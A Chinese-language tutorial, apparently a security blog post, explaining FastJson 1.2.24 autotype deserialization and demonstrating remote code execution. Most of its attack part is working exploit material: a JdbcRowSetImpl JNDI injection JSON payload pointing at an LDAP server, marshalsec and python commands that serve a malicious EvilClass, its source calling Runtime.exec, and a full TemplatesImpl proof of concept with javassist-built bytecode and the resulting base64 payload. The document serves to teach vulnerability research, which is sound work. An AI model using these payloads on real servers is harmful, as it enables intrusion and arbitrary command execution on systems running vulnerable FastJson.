前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean
首先我们需要使用maven导入一个fastjson的jar包,这里选择1.2.24版本
com.alibaba fastjson 1.2.24
首先创建一个标准的javabean:User类
package com.leekos.serial; public class User { private String name; private int age; public User() { System.out.println("无参构造"); } public User(String name, int age) { System.out.println("有参构造"); this.name = name; this.age = age; } public String getName() { System.out.println("调用了get方法"); return name; } public void setName(String name) { System.out.println("调用了set方法"); this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
测试一下fastjson中的方法:
public class JsonTest { public static void main(String[] args) { User user = new User("leekos",20); // 序列化 String serializeStr = JSON.toJSONString(user); System.out.println("serializeStr=" + serializeStr); System.out.println("------------------------------------------------------------------"); //通过parse方法进行反序列化,返回的是一个JSONObject Object obj1 = JSON.parse(serializeStr); System.out.println("parse反序列化对象名称:" + obj1.getClass().getName()); System.out.println("parse反序列化:" + obj1); System.out.println("------------------------------------------------------------------"); //通过parseObject,不指定类,返回的是一个JSONObject JSONObject obj2 = JSON.parseObject(serializeStr); System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName()); System.out.println("parseObject反序列化:" + obj2); System.out.println("------------------------------------------------------------------"); //通过parseObject,指定类后返回的是一个相应的类对象 User obj3 = JSON.parseObject(serializeStr, User.class); System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName()); System.out.println("parseObject反序列化:" + obj3); } }
输出:
有参构造 调用了get方法 serializeStr={"age":20,"name":"leekos"} ------------------------------------------------------------------ parse反序列化对象名称:com.alibaba.fastjson.JSONObject parse反序列化:{"name":"leekos","age":20} ------------------------------------------------------------------ parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"name":"leekos","age":20} ------------------------------------------------------------------ 无参构造 调用了set方法 parseObject反序列化对象名称:com.leekos.serial.User parseObject反序列化:User{name='leekos', age=20}
通过观察,我们可以知道:(不使用SerializerFeature.WriteClassName参数)
通过以上的分析,我们可能会想json串中没有与类有关的标识,我们怎么才知道这个json串反序列化对应的对象是什么类型呢?
这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)的第二个参数了,如果该参数为SerializerFeature.WriteClassName那么在序列化javabean时就会在json串中写下类的名字,保存在@type关键字中
传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
我们将上面的代码更改一下:
String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);
输出:
有参构造 调用了get方法 serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"} ------------------------------------------------------------------ 无参构造 调用了set方法 parse反序列化对象名称:com.leekos.serial.User parse反序列化:User{name='leekos', age=20} ------------------------------------------------------------------ 无参构造 调用了set方法 调用了get方法 parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"name":"leekos","age":20} ------------------------------------------------------------------ 无参构造 调用了set方法 parseObject反序列化对象名称:com.leekos.serial.User parseObject反序列化:User{name='leekos', age=20}
经过分析,我们可以知道:
其实上面就有一个很敏感的问题,如果@type为恶意类的话,就可以通过触发set()、get()方法来做一些恶意操作了
漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
我们先编写一个恶意类:
package com.leekos.rce; import java.io.IOException; public class ExecObj { private String name; public ExecObj() { } public ExecObj(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) throws IOException { Runtime.getRuntime().exec("calc"); this.name = name; } @Override public String toString() { return "ExecObj{" + "name='" + name + '\'' + '}'; } }
添加SerializerFeature.WriteClassName后然后使用JSON.parseObject()反序列化:
public class Test { public static void main(String[] args) { String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}"; Object o = JSON.parseObject(s); } }
成功调用set()方法:
不过在FastJson中还需要满足某些条件:
getter自动调用还需要满足以下条件:
setter自动调用需要满足以下条件:
除此之外Fastjson还有以下功能点:
在Fastjson这个反序列化漏洞中是使用TemplatesImpl和JdbcRowSetImpl构造恶意代码实现命令执行,TemplatesImpl这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。
这里介绍两种方式:
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
parse(jsonStr) parseObject(jsonStr) parseObject(jsonStr,Object.class)
这里JNDI注入利用的是JdbcRowSetImpl ,由于需要使用JNDI,所以我们全局查找一下lookup()
发现lookup()会在connect()函数中被调用,并且传入参数this.getDataSourceName(),
public void setDataSourceName(String var1) throws SQLException { if (this.getDataSourceName() != null) { if (!this.getDataSourceName().equals(var1)) { String var2 = this.getDataSourceName(); super.setDataSourceName(var1); this.conn = null; this.ps = null; this.rs = null; this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1); } } else { super.setDataSourceName(var1); //赋值 this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1); } }
setDataSourceName()函数会对dataSourceName赋值,并且这个函数是setxxx()形式。即dataSourceName可控
然后我们需要寻找哪里能调用connect()函数,并且这个函数是setxxx()形式:
public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); } }
找到了一个setAutoCommit(),这就能简单构造一个json串了
{ "@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit" "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true // 之后再调用setAutoCommit函数,传入true }
Demo
public class Demo { public static void main(String[] args) { String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}"; JSON.parse(exp); } }
首先我们先使用插件:marshalsec起一个ldap服务:
(这里url指向本地的8090端口的EvilClass.class文件)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
然后python起一个http服务(8090端口),目录中有一个EvilClass.class文件:
python3 -m http.server 8090
EvilClass.java源码
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class EvilClass implements ObjectFactory { static { System.out.println("hello,static~"); } public EvilClass() throws IOException { System.out.println("constructor~"); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); System.out.println("hello,getObjectInstance~"); return null; } }
这里使用javac(jdk7u21)编译一下
运行:
fastjson 1.22-1.24
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.codec.binary.Base64; public class Test { //最终执行payload的类的原始模型 //ps.要payload在static模块中执行的话,原始模型需要用static方式。 public static class lala{ } //返回一个在实例化过程中执行任意代码的恶意类的byte码 //如果对于这部分生成原理不清楚,参考以前的文章 public static byte[] getevilbyte() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(lala.class.getName()); //要执行的最终命令 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; //之前说的静态初始化块和构造方法均可,这边用静态方法 cc.makeClassInitializer().insertBefore(cmd); // CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); // cons.setBody("{"+cmd+"}"); // cc.addConstructor(cons); //设置不重复的类名 String randomClassName = "LaLa"+System.nanoTime(); cc.setName(randomClassName); //设置满足条件的父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //获取字节码 return cc.toBytecode(); } //生成payload,触发payload public static void poc() throws Exception { //生成攻击payload byte[] evilCode = getevilbyte();//生成恶意类的字节码 String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'a.b',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响 System.out.println(text1); //服务端触发payload ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField); } //main函数调用以下poc public static void main(String[] args){ try { poc(); } catch (Exception e) { e.printStackTrace(); } } }
我们执行一下,弹出计算器:
json串:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
使用TemplatesImpl链的形式触发FastJson反序列化漏洞利用条件比较苛刻
因为payload需要赋值的一些属性为private属性,服务端必须添加特性才会去json中恢复private属性的数据
其实根据上面的poc,我们会有几个疑问:
前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。